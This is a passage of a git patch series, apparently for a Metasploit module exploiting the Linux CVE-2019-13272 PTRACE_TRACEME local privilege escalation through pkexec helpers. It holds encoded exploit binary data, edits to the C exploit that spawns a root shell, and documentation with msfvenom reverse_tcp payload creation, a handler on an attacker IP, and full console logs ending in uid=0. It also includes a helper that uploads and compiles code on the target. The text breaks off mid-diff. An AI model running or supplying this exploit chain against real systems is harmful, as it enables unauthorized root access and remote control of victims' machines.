z%p!*srJJm8T#>=K&Zm8nttJXdehN9P_ps&C9@A1|F;YNSV}XY*AIXJ1qMNuwXFOAR z5mu5tx_`wep`Z_iWXLO|<(P?(`xL<<#&+O_Iyo!TA)7>r;S>K8b$hiaK!ZRS0-pos zC$ik!R0uBqIlsl_dWMH&M9fL|v&(;x3kL93@){!UMv`xJ#e(Y$w zC~fYmxq@s$4L$39s)ZxJ;r_s+Fz`SEcMDgv7~C$*1?UC(Zi^$*(y0)gVo95*zMpOh z5#*lI-@Yh#v_ywlSBh@io4t$kGMH{t4})cW3u9k(j(z!&q*nB9uxL$|2e-b)Und*K zhnNWSvVhLPdB|1vceBPxxMDKgX8y)+WeZi>g$Vep|NI}OtW^7E^wNOJpg{I|aOM~H zwGFV+HVlR5s zsrilPKv*?nqXl-U!E8tL&@rRB?#JcQv1v7={DQINRp(W%d*^iquWKmBYYCxF>fT_6 zghuvRzhmss@vsle2c^V_byTDw#zY;Uhu$8mYNt)?!iv4zjeocHXxqjm;3@j}d^;<~HfV6B78Q@=d9A?jJNqXw+f+T?FW+{TWYG$m^2w|xmRV?DD! z?j^pk(!M^qqNVB}M}-r=dq_2TyrQKip#4=gd(6#|5s1mvq$@9k4Cl62nS5_3*Q?FI zoTcO*?M+hITrIzC4_KqrLVNsg#bnBy62{YwMGL%(4luX>sX6K^PRe9)Jq=lyJ8OSepDx+=))1`up!CZph)N(ey ze2K*d8HR2D-z$P|FL+#*wNMEIbEX8PrNE2X0ct*Wi{|Sr(R6Mvv=>Pw&F6psaqAM$ z8oz0dUcY>aTt0*Sfa7)p7z;lEcE@9Cbe9*In~nYD#>d{mbJDnVrDRp>qOa1?IdU-# zcDZrydIpHe&4nSZFMJ#FgRrw~^RtO{-S7?}o~@i1nj9rXlCc1YRyt*A4ct=(9U9 z2+$m)M{UHX%>m{4x|1*>Lio&SfSTz`e;u;i^A%%=FJOG0_upMi9VrWsTjoh$L|C3j z+N|p29_=zZzSYYG&AO8{Wf|Vbr3?+XbkNySP6wVYqDy)UWF8Ku2=T@t^CS5yTIO^; zdVv~%FPP8~PoTX~&3pc;36Z&+inm_P3H1jbdl1^FJFHi&l-GE{8V?K94xd>7w;`aX z&(V|9z2vY7X3Julqu%yd7U9A@KaaL(>ssa>?Gn8qqueYwoqEe6<;BfQmDy*doW0b=;n*oM|f7b(L34Ek2<+LuJUb%mVYXSe#0oE70Vic7?vuEfl#*oEFe-W_D!PFf&yV~x}k zZZ`Uyi-+oEuLzHEZN&@e(Q=)(M{52JjDX3s1Kd$il^ZUG_GdpL*=XU@-HUebIngh( zRQ*{3T-iVLIU*Orramt9E`?_o!EV!Z`;LWgAQo(X%5>vYwLWJR%1FJ$AAq~jzPuNu z_3jeyTr}w!Blf8*XLoac?jUO!iJG=YOpa@6!LHn(aU$0quK-SOE~mDemY}md znIiZihRMiae0i+9DWYT9ctTZMBUnEAQ7#S_)l>3C>!+PUI-Hofz}iZ?NyQ|{uaUWi zJMdP>_5WB`9!G@m_XE)}0pl#6T%o7N?KlOj5om?1h4AliYe+7r;53L}qbG$;nL94O zJVWvOaCF@0#g#IW!#&nntza$tbx8y{f0bw)v1XaJG-Yn}s*kuV%Ep&43hZ~)ArNKv zPywFg(e9UNtv5pp`L|pjN8$gwy=xC{>N@k+Pi!#Ac@W5h?8&PLYA&<#j>uVd#@h}31(#yYgO+sZMM_LcAIXtlXlYSB(t-HW?L|E$|F;<1ek

bYK_vmP+Erw1aerl3sW#n( zgK6CHx+3go9J`r1|MTeGn4~qXqJCFcb*Zq_Sm?qz{bRV33zlv0iqgUSMYhAkFqq%~ zb8KQH?;yU-w#J)=RA+ZM)GXR*Oc-3|JRoC248ulMG<{}!10xnODH;p4w zHURBOqJ&Fz+OkuF?u4Afi*|UCxADGpuE0k)V1OhjjMOGq{4I0dSyaf-LnU<1M#64> zJRMPo9$G@5ril;hsvq<&OfDAO+(A>y`Iug@Jv-+r`dFPm-?)fAgrWL@?b(^{wqt@B z(&)YyQ6v3Wo_P)1%mT6eEJ6-H247o2!;lYalKx;i$vl`?`y+%TXFiQzO4)o8sZwYu zLe1D2*xO)e$7OqhVL$?BC!k;x<La(EvQb0r=t!EF0yAOd5@%x{#8bBUR2A4ATqs)IE#zlv?$z;y_RDO(sP;EBVw zg5-;1*df<+4L_{A8>Zl-iF@vto$U`Wj@FRJ9L(*(jQW;qsP`K4zG;$#pYeh%;Ke2*U^jnx~9^k;Bw+t|Aa-h$>0gg7zhCk*P>Iu1g8sKkr|AL}9? z(@WyUvEQd_kBnMW!6=|)UI!5vGh$WAbLd|8GaQ%=Jx8=AaSO(EiFqesh`%v*5&HDC z=<3TLv!EVV0@e(mS%?NbMH2767pP}t3U5B#WQ6sqhu%g?Y$E|}5BigBfSH&fxX(t{ zVcX4#vbu&2^nc@1_z?MpxHp@Plf#b!DGD{T_MiQ< z{_pa6+rZ<rmEMcLX3Ei1c~JDwjY8$f#$NXi413qd_++(+&v6(Sid@X8ZFp} zi&w1+QT4T?;{G0q(iCbf*xQhU{O_kJ?zNq(HfvdzV#p} zM{(|~?O;=B&WlxS!Fdy;z^0-x*o=4J`n(}^wk2YNn7?oS+i_TOaFjAS;R2#z$E!&b zB9~zV2=-5no&i(_Gr0wPyC5E;H3?|u@wv8v`}jz-4cvv7%9CT)i1jCw^OtP{%PD+l zOD;Gq6qWJ0#zogq{;AnWX;Y#Erc<20aTP#nZ3nlkawoRP4LL7vq9rkO6W_;?{ISmp^-bM4bpJElb*t(d@d9g}3UGv_z>Sw75aI+ps)fggi=M{; z!Z-`h0RtCQw~V1r@&S%u8vA>!2XNye*CDnp;N`LXaBC7<@?n4m=8;;AE$A3bF~x4T zP1u=yn2~kj%h)nhpC3OKyJ)MjJ$cC%+k+AeoB8Zw7Tc4@G&N8a+gm8r`Jv!Z|CP>h;54w1#;Rmhx=-3K}_N@BSc4#9`X6HGs6 z2eu^YAQGcosf;C-7gFBt|HZ_-ecPSDHrX6=^rs+Lv>)lY~0Tg2oafoIionvhPVu zAB4wYb~}0eEMH9c@~G?VMYf{QwfYr)-+-<9b@U}tBwsgkV1veBK)3q^sxVei2LzDK zccM?dFdO8F+BdOcE|$yv4AKmkBu@6gI!3&@Y}GHh_KngjPUPt>cCG&0_Sl0c98Iqk zF=#As;(#Y60*>1r+X6sVEGY3PSz`JtyGZz1juV$~7ZB~N#^ff-w&F1P$4`ug;Kk)S z^8pY>z61gLWLr}H_^79N`}u-G+du&-Hum{m+oS)<#>hKG@ed%g!f;js)_^KZ#7{5> zR~nx*Zglj&0r2s?d_fI1Uo+d-=uZKHB|cNIL~Bm`kFg8uj($=YJJBCIIXqaOa|rZ8 z8nlhl;2ruqNyhycpCoU=y%|M_f+Jaa?D3;VKPicwyf8QwN5-WhzqxL3LoT~yD0Z@c zaAVF`Gh)O3i`Zz~o|RTYSF?mZ7_84@i%SM=@jnu_H`h_D%{lZ%r(LkG+%cQk3X*?Z zBEvG-^S6(PLJ++NQT`yF+7%0eg8p`75kSr7o~Oz_ZoV@Bm-q~XW87ndUBK@{s%**! zHaZcKo%DeD*djI?`_T_z#$S%;w2*i{xsZ7)uxkqQG0^$PLRdPFm{^iA0=g|0jKGYt zhvr4r(>$gfoY6cv%&hnoG>L1+hP>`!wuCeOMqm$b(*3XE6Ah8Pcwf9Ur8imnF-l|UKGE^QeNJE6i zMrT|=@5A+mu+rf4hBJf-(ShVp8KQ&rKvU;T@>GllH&kd_oG7$8c8q3juQR4z9+7Y* zk#3BYn6EOwokno%Z8~Y|3{YXXUcL+?n1#@XyHRPTnd9tZI595=w7tvO1?I4vkF$9$ zW+i8GG}*`BnxQsQdn*VMV#C3OYn8LWqa(Zssxj##W^ z*~qw!?rPjd2Va0S?O^F8FJL`Ov-#}TDK6tfGpMQlfd&^{iidOC3(9f1EZw*C7ge6yF4Db%Fu}|}R3b5I9?7cf={qh})^=WrF zn5kQ*`yo$KNG@&t1-y0B&Qx}J_3^UPV`CWoxtGt6>_5|ov*I8yUiC}rv6xe$D`dBi z#6Hi7&$2q>^}`GL;g8*N;0lSJqQtD4#O8d6wxH<-kA3z9ihY-e9cQO24-OAC}aai z{sYBl4HN;E;}Y~2-auR#J_Y{jgW--D$7z*MVb!62fIuYCb@#r9i`e}SQ<>O13Oy3M z%#V#Yuhu}ifG&Q~%)^2+RK)9S9pd5|T5OFqH;W;}&@!A7NNJ?1zz7GQzH4YNcmdsF zVTm~u0^3@tbSMnmeFbB?Agobt-M-Tp{UqGKeuPW{o3J7?K5EuLR=9jVHokC|2NrL@ z!L#xVqhAby1DkUIwtX7`=IbS~@vuH6HvX^JhLn6%Xng3L`=*)U=*1q@-O`7Nwxi(?PUy+xx~7MipY zV0Hf%zEPtPfanUyJg6{9c8~|w!zT((-YkRl;F_Ujn0lcr*5@2#J~%)Eazt#bD0!O3 zJz2aKDEmc zQv8#~Gr~c=?~3${Kbv0fs+FFV%N?O$*ywe%hmG>yfKORot|^*^GT}?>a%dff?pJ%l z840J#c}09*FdX)xtXJg4H(6d79*ruw%d0Dnh}xq>C##`U?e_*EU0)2AZk15)19}>f zhbmnO`%~>hO~_hf(ppWoV-}p6RsC1uyP|bdH8pA5PY9hPFO!64=Ak?iReflzP@o(+ zMNd*AO4vScqW8Qd@@CK0n$3+3+sdRJj-7ICG^$3|$P2WoQb3J%+RG%r5m{;{G@gKe ziM)JinZ!{n@Rw`4S2r})Nd_V-9i7F;syTV3h335 zsN(h8Dc3BeHY2b^)`AZzYQT>7GDqbSxq^hAh#vL&6nj(4)~f1S5BuFzi?Ahfiu zqGCmYsD7)EEF(SMpbk$v3s~qky1M#2yhV6LO~g}Q+p@K`zPYx=!qnK}Y1-P{LWbrg z^1`6n%?pPdOpMpG`L5cQ+Ex)w^F_V7ufyX-W66uu8r3HNz;2SmaPE9K1mIUbOSHBYFQ=Gq2gcM~F_Zj>-l z3%|7Ek)3jl8djFbAyw_vP?|Rhu3GMk80~5|+5^NF>*s<4bxk*94G`pZxh=#*3q3XNsKKK@4J#CfoCGKE#OC#SEK}5 zoErHP>0VU}r(Yb1(IH}2s6au(M97tNjCx&_jzV>y^}uO3q{PVEQi*ri<<80q`3`x7 zv(j04yF8IOqO8>;}KIl%s2u(nMbku0OGZ0l2zoK>OYQz~)F)sQ#gSwOG zp)=yuJ7mY5vXmkjl2eMdDN?zj`_TJAg@mj|r6O{(hW}VnxYPv0iR6G7PO>A!bL)X( zz)rA(%bsYDSNhsuGWj%Y1ZVJ1@8bUwzHh>J75?wf@E762eGXy2$G@YZb#XiSMH`4s;1EtkH@j0tSDKAd8DC$*YA*GpGT zMR?xSDN@dj#nUiRQe23@X;LA@v0_@V%$XrRfO$HFV;VbGDkkq@3BRdu0he-1Qg4!k zC0Eu@G55xAW_SiDUfB$h&Zh-F% zH_-3o&xCMRd6UDXd};ZfcxKTH`zhw$_{|I#aNH$plz3*+3;QYN-uUG&Rj{{v5V#IA zD){fG?@jj3a3jTlA%>p*b?cccxkDkP9b~JmPgfwAJYXncpCZ+$MCxUQ^b~2Uq8TBb zNiGmLAml+lAVw`Ug3@_qUGI~clxSCw%PJ5Cf?$=Kp;&uKD`)ZW(G}Fe77+*B#@7J} z4SE5npFbE?e7YL#ONCf`NU9?Ur5F5GlkV|`3i|6MifwOhSn#!Ap=CCMub>3XYw-WTqq3%wjWWW z-e@q?CmUgJH#87dXm_~V8v+B;6s1$Dj;b1L3oJPqDtss6d;JbIj7Y469JN#SzKvqCl!hSDha0LiSWcp9mZP$@fbxRntkLB*Q@J!w7?s`Z`!n ztNeZ-PRXVlqAE0SXgH`bcll~l};KWwH-_iR`Q}Y(W(YX^iq}eg4#s!Sc^mDk(&Fu+K7X(N+z)| z!ukg(fN7u>^p7rYxKAb}oF&T&Z?yqR%5nmZ=!*s;=yS+xs#!O9{n^3PufV3EQiv`| zK%#nB_e}LjDU~+$0*#_l^<}1z>VJN85mvW7OkYubJ|ikML(5mJG3HYt=dvbjilS?& zh9;wp6&frPMwZWuu}T7SodGREj5QL06{<_#T3zS@kYs5fpybqse9*WtQ1xIS2((cQ zkZwTN@P14xidWX4&Uw42AZ(zeYs!M6zDYgP8e|+?qpr+GnMM**r`+Myv32Qlrr{|TMyXyLs5aqa&x5eZf~?aYJ|(fnh(}PK4L6$ zA~RI#Ff>RWPq$xFJy7ppe1nQl!&z!@H{RXqS?XMw7D93!+$!btmgd}8GNtGMgopV^ zhc>d!-jqx-v1&$X-Hh2AZPR*+`lWR@d}YzH`SU0%1XF|myPJ~9ACpJbjM7JQtEU&{ zJ_Sr1k00J|BK&M#M)=0B=Ed^!UdUrm9M4w~{8dcxw`aoTwJ{J%hwz`h7pK6&O{e2w z7%2Q#_@C99O#XI4`1w@$JMce;@XaI~iG1d5%pm}ZUjqNU?a*InqCXXWDp!Ql+Kqq3 zf{~&L`O8b?uL0rT^(2!oO~8MW;RnVqpD%0R%NqEy2EMF;|A#eTnX!^0YuVoyhGiC% zZDJ^~BJ}3-7g#~qbLM;8wY;TP;t6;PxFbDbeHU8a5$l^%x#O0*{`(SpIxP2q zAs2toXxL zeBoaG9RbN*k*@GvkC)8+3;rP7?DVqBUuVS^^(*L^aC?|>S)?XOa{86Mkx`g%iukPu zIe>6OSqWz6r`3ut_>G{?yJ>M9p6v2w$M*n+k`VDDhh=3=KJ6YnCP@cwUCjj>b! literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2019-13272/poc.c b/data/exploits/CVE-2019-13272/poc.c similarity index 91% rename from external/source/exploits/CVE-2019-13272/poc.c rename to data/exploits/CVE-2019-13272/poc.c index 878b9da9a7..5b1ebdecb5 100644 --- a/external/source/exploits/CVE-2019-13272/poc.c +++ b/data/exploits/CVE-2019-13272/poc.c @@ -8,7 +8,7 @@ // - added known helper paths // - added search for suitable helpers // - added automatic targeting -// - changed target suid exectuable from passwd to pkexec +// - changed target suid executable from passwd to pkexec // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272 // --- // Tested on: @@ -16,6 +16,8 @@ // - Ubuntu 18.04.1 kernel 4.15.0-20-generic // - Ubuntu 19.04 kernel 5.0.0-15-generic // - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic +// - Linux Mint 17.3 kernel 4.4.0-89-generic +// - Linux Mint 18.3 kernel 4.13.0-16-generic // - Linux Mint 19 kernel 4.15.0-20-generic // - Xubuntu 16.04.4 kernel 4.13.0-36-generic // - ElementaryOS 0.4.1 4.8.0-52-generic @@ -34,7 +36,7 @@ // - Mageia 6 kernel 4.9.35-desktop-1.mga6 // - Antergos 18.7 kernel 4.17.6-1-ARCH // --- -// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root +// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root // user@linux-mint-19-2:~$ ./ptrace_traceme_root // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) // [.] Checking environment ... @@ -88,6 +90,14 @@ }) #define max(a,b) ((a)>(b) ? (a) : (b)) +/* + * execveat() syscall + * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl + */ +#ifndef __NR_execveat +# define __NR_execveat 322 +#endif + static const char *SHELL = "/bin/bash"; static int middle_success = 1; @@ -106,6 +116,7 @@ const char *known_helpers[] = { "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", "/usr/lib/unity-settings-daemon/usd-backlight-helper", "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", + "/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper", "/usr/sbin/mate-power-backlight-helper", "/usr/bin/xfpm-power-backlight-helper", "/usr/bin/lxqt-backlight_backend", @@ -211,7 +222,8 @@ static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { .argv = { scratch_area + offsetof(struct injected_page, arg0) } }; strcpy(ipage.arg0, arg0); - for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) { + int i; + for (i = 0; i < sizeof(ipage)/sizeof(long); i++) { unsigned long pdata = ((unsigned long *)&ipage)[i]; SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), (void*)pdata)); @@ -228,13 +240,14 @@ static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); SAFE(waitpid(pid, &dummy_status, 0)); + + return 0; } static int middle_stage2(void) { /* our child is hanging in signal delivery from execve()'s SIGTRAP */ pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); - force_exec_and_wait(child, 42, "stage3"); - return 0; + return force_exec_and_wait(child, 42, "stage3"); } // * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * * @@ -250,36 +263,42 @@ static int spawn_shell(void) { // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * * static int check_env(void) { + int warn = 0; const char* xdg_session = getenv("XDG_SESSION_ID"); dprintf("[.] Checking environment ...\n"); if (stat(pkexec_path, &st) != 0) { - dprintf("[-] Could not find pkexec executable at %s", pkexec_path); + dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path); exit(EXIT_FAILURE); } if (stat(pkaction_path, &st) != 0) { - dprintf("[-] Could not find pkaction executable at %s", pkaction_path); + dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path); exit(EXIT_FAILURE); } + + if (stat("/dev/grsec", &st) == 0) { + dprintf("[-] Warning: grsec is in use\n"); + warn++; + } if (xdg_session == NULL) { dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); - return 1; + warn++; } if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { dprintf("[!] Warning: Could not find active PolKit agent\n"); - return 1; + warn++; } if (stat("/usr/sbin/getsebool", &st) == 0) { - if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { + if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) { dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); - return 1; + warn++; } } dprintf("[~] Done, looks good\n"); - return 0; + return warn; } /* @@ -324,7 +343,8 @@ int find_helpers() { continue; memset(buffer, 0, sizeof(buffer)); - for (int i = 0; found[needle_length + i] != '\n'; i++) { + int i; + for (i = 0; found[needle_length + i] != '\n'; i++) { if (i >= sizeof(buffer)-1) continue; buffer[i] = found[needle_length + i]; @@ -418,7 +438,8 @@ int main(int argc, char **argv) { /* Search for known helpers defined in 'known_helpers' array */ dprintf("[.] Searching for known helpers ...\n"); - for (int i=0; i Date: Tue, 3 Sep 2019 17:48:29 +0800 Subject: [PATCH 07/16] add docs --- .../linux/local/pkexec_helper_ptrace.md | 170 ++++++++++++++++++ 1 file changed, 170 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/pkexec_helper_ptrace.md diff --git a/documentation/modules/exploit/linux/local/pkexec_helper_ptrace.md b/documentation/modules/exploit/linux/local/pkexec_helper_ptrace.md new file mode 100644 index 0000000000..41e8cd184f --- /dev/null +++ b/documentation/modules/exploit/linux/local/pkexec_helper_ptrace.md @@ -0,0 +1,170 @@ +## Vulnerable Application + +In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles +the recording of the credentials of a process that wants to create a ptrace +relationship, which allows local users to obtain root access by leveraging +certain scenarios with a parent-child process relationship, where a parent drops +privileges and calls execve (potentially allowing control by an attacker). One +contributing factor is an object lifetime issue (which can also cause a panic). +Another contributing factor is incorrect marking of a ptrace relationship as +privileged, which is exploitable through (for example) Polkit's pkexec helper +with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in +some environments. + + This module has been tested successfully on: + * Ubuntu 16.04.5 kernel 4.15.0-29-generic + * Ubuntu 18.04.1 kernel 4.15.0-20-generic + * Ubuntu 19.04 kernel 5.0.0-15-generic + * Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic + * Linux Mint 17.3 kernel 4.4.0-89-generic + * Linux Mint 18.3 kernel 4.13.0-16-generic + * Linux Mint 19 kernel 4.15.0-20-generic + * Xubuntu 16.04.4 kernel 4.13.0-36-generic + * ElementaryOS 0.4.1 4.8.0-52-generic + * Backbox 6 kernel 4.18.0-21-generic + * Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 + * Kali kernel 4.19.0-kali5-amd64 + * Redcore 1806 (LXQT) kernel 4.16.16-redcore + * MX 18.3 kernel 4.19.37-2~mx17+1 + * RHEL 8.0 kernel 4.18.0-80.el8.x86_64 + * Debian 9.4.0 kernel 4.9.0-6-amd64 + * Debian 10.0.0 kernel 4.19.0-5-amd64 + * Devuan 2.0.0 kernel 4.9.0-6-amd64 + * SparkyLinux 5.8 kernel 4.19.0-5-amd64 + * Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64 + * Manjaro 18.0.3 kernel 4.19.23-1-MANJARO + * Mageia 6 kernel 4.9.35-desktop-1.mga6 + * Antergos 18.7 kernel 4.17.6-1-ARCH + +## Verification Steps + + 1. Start msfconsole + 1. Get a shell or meterpreter session on the target + 1. Do: `use exploit/linux/local/pkexec_helper_ptrace` + 1. Do: `set session #` + 1. Do: `exploit` + +## Options + + **WritableDir** + + A folder we can write files to. Defaults to `/tmp` + + **COMPILE** + + If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto` + +## Scenarios + +### Ubuntu 18.04 (with Linux 4.15.0-13-generic) + +#### Initial Access + +We need to gain an initial session on the target system before we can use this module. +Additionally this module will only work from a GUI session, and will fail with an SSH session. +In order to gain a compatible session we will upload a payload binary and run it from gnome-terminal. + +``` +# Create a payload binary +msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o binary + +# Start a handler +msfconsole +msf5 > use exploit/multi/handler +msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf5 exploit(multi/handler) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf5 exploit(multi/handler) > set LPORT 4444 +LPORT => 4444 +msf5 exploit(multi/handler) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 + +# Execute the payload using gnome-terminal on the target + +[*] Sending stage (3021284 bytes) to 192.168.56.7 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.7:33244) at 2019-09-03 17:42:17 +0800 + +meterpreter > background + +``` + +#### Escalate + +In this scenario, gcc is installed so we can live compile on the system. + +``` +msf5 exploit(multi/handler) > use exploit/linux/local/pkexec_helper_ptrace +msf5 exploit(linux/local/pkexec_helper_ptrace) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf5 exploit(linux/local/pkexec_helper_ptrace) > set SESSION 1 +SESSION => 1 +msf5 exploit(linux/local/pkexec_helper_ptrace) > set VERBOSE true +VERBOSE => true +msf5 exploit(linux/local/pkexec_helper_ptrace) > exploit +[*] Started reverse TCP handler on 192.168.56.1:4444 +[+] Kernel version 4.15.0-13-generic appears to be vulnerable +[+] pkexec is installed +[*] Writing '/tmp/.zacecz' (285 bytes) ... +[+] gcc is installed +[*] Live compiling exploit on system... +[*] Writing '/tmp/.fmrefxhjjcq.c' (9718 bytes) ... +[*] Executing exploit '/tmp/.fmrefxhjjcq' +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3021284 bytes) to 192.168.56.7 +[*] Exploit result: +Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) +[.] Checking environment ... +[!] Warning: $XDG_SESSION_ID is not set +[!] Warning: Could not find active PolKit agent +[~] Done, looks good +[.] Searching for known helpers ... +[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper +[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper +[.] Spawning suid process (/usr/bin/pkexec) ... +[.] Tracing midpid ... +[~] Attached to midpid +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:58270) at 2019-09-03 17:29:57 +0800 +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +``` + +#### Escalate w/ pre-compiled binaries + +It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system. + +``` +msf5 exploit(multi/handler) > use exploit/linux/local/pkexec_helper_ptrace +msf5 exploit(linux/local/pkexec_helper_ptrace) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf5 exploit(linux/local/pkexec_helper_ptrace) > set SESSION 1 +SESSION => 1 +msf5 exploit(linux/local/pkexec_helper_ptrace) > set COMPILE False +COMPILE => False +msf5 exploit(linux/local/pkexec_helper_ptrace) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[+] Kernel version 4.15.0-13-generic appears to be vulnerable +[+] pkexec is installed +[*] Writing '/tmp/.yaamzkukaml' (285 bytes) ... +[*] Dropping pre-compiled exploit on system... +[*] Writing '/tmp/.wtoplrisgzzo' (51200 bytes) ... +[*] Executing exploit '/tmp/.wtoplrisgzzo' +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3021284 bytes) to 192.168.56.7 +[*] Exploit result: +Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) +[.] Checking environment ... +[!] Warning: $XDG_SESSION_ID is not set +[!] Warning: Could not find active PolKit agent +[~] Done, looks good +[.] Searching for known helpers ... +[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper +[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper +[.] Spawning suid process (/usr/bin/pkexec) ... +[.] Tracing midpid ... +[~] Attached to midpid +[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.7:58272) at 2019-09-03 17:30:16 +0800 +``` + From ac9b4c137c475853a682644a288a2de091d97436 Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 3 Sep 2019 18:46:13 +0800 Subject: [PATCH 08/16] add compile.rb --- lib/msf/core/post/linux/compile.rb | 64 ++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 lib/msf/core/post/linux/compile.rb diff --git a/lib/msf/core/post/linux/compile.rb b/lib/msf/core/post/linux/compile.rb new file mode 100644 index 0000000000..7b7dbe35f0 --- /dev/null +++ b/lib/msf/core/post/linux/compile.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Linux +module Compile + include ::Msf::Post::Common + include ::Msf::Post::File + include ::Msf::Post::Unix + + def initialize(info = {}) + super + register_options( [ + OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), + ], self.class) + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Set COMPILE False to upload a pre-compiled executable.' + end + end + + def upload_and_compile(path, data, gcc_args='') + upload_binary "#{path}.c", strip_comments(data) + + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + end + + unless gcc_args.to_s.blank? + gcc_cmd << " #{gcc_args}" + end + + output = cmd_exec gcc_cmd + rm_f "#{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." + end + + chmod path + end + + def strip_comments(c_code) + c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') + end + +end # Compile +end # Linux +end # Post +end # Msf From 5123fdbb5ed07295347f3ba83e8426e425b5e80f Mon Sep 17 00:00:00 2001 From: Tim W Date: Fri, 6 Sep 2019 01:00:44 +0800 Subject: [PATCH 09/16] s/pkexec_helper_ptrace/ptrace_traceme_pkexec_helper/g --- ...ace.md => ptrace_traceme_pkexec_helper.md} | 22 +++++++++---------- ...ace.rb => ptrace_traceme_pkexec_helper.rb} | 2 +- 2 files changed, 12 insertions(+), 12 deletions(-) rename documentation/modules/exploit/linux/local/{pkexec_helper_ptrace.md => ptrace_traceme_pkexec_helper.md} (87%) rename modules/exploits/linux/local/{pkexec_helper_ptrace.rb => ptrace_traceme_pkexec_helper.rb} (100%) diff --git a/documentation/modules/exploit/linux/local/pkexec_helper_ptrace.md b/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md similarity index 87% rename from documentation/modules/exploit/linux/local/pkexec_helper_ptrace.md rename to documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md index 41e8cd184f..76ae83a982 100644 --- a/documentation/modules/exploit/linux/local/pkexec_helper_ptrace.md +++ b/documentation/modules/exploit/linux/local/ptrace_traceme_pkexec_helper.md @@ -40,7 +40,7 @@ some environments. 1. Start msfconsole 1. Get a shell or meterpreter session on the target - 1. Do: `use exploit/linux/local/pkexec_helper_ptrace` + 1. Do: `use exploit/linux/local/ptrace_traceme_pkexec_helper` 1. Do: `set session #` 1. Do: `exploit` @@ -95,14 +95,14 @@ meterpreter > background In this scenario, gcc is installed so we can live compile on the system. ``` -msf5 exploit(multi/handler) > use exploit/linux/local/pkexec_helper_ptrace -msf5 exploit(linux/local/pkexec_helper_ptrace) > set LHOST 192.168.56.1 +msf5 exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 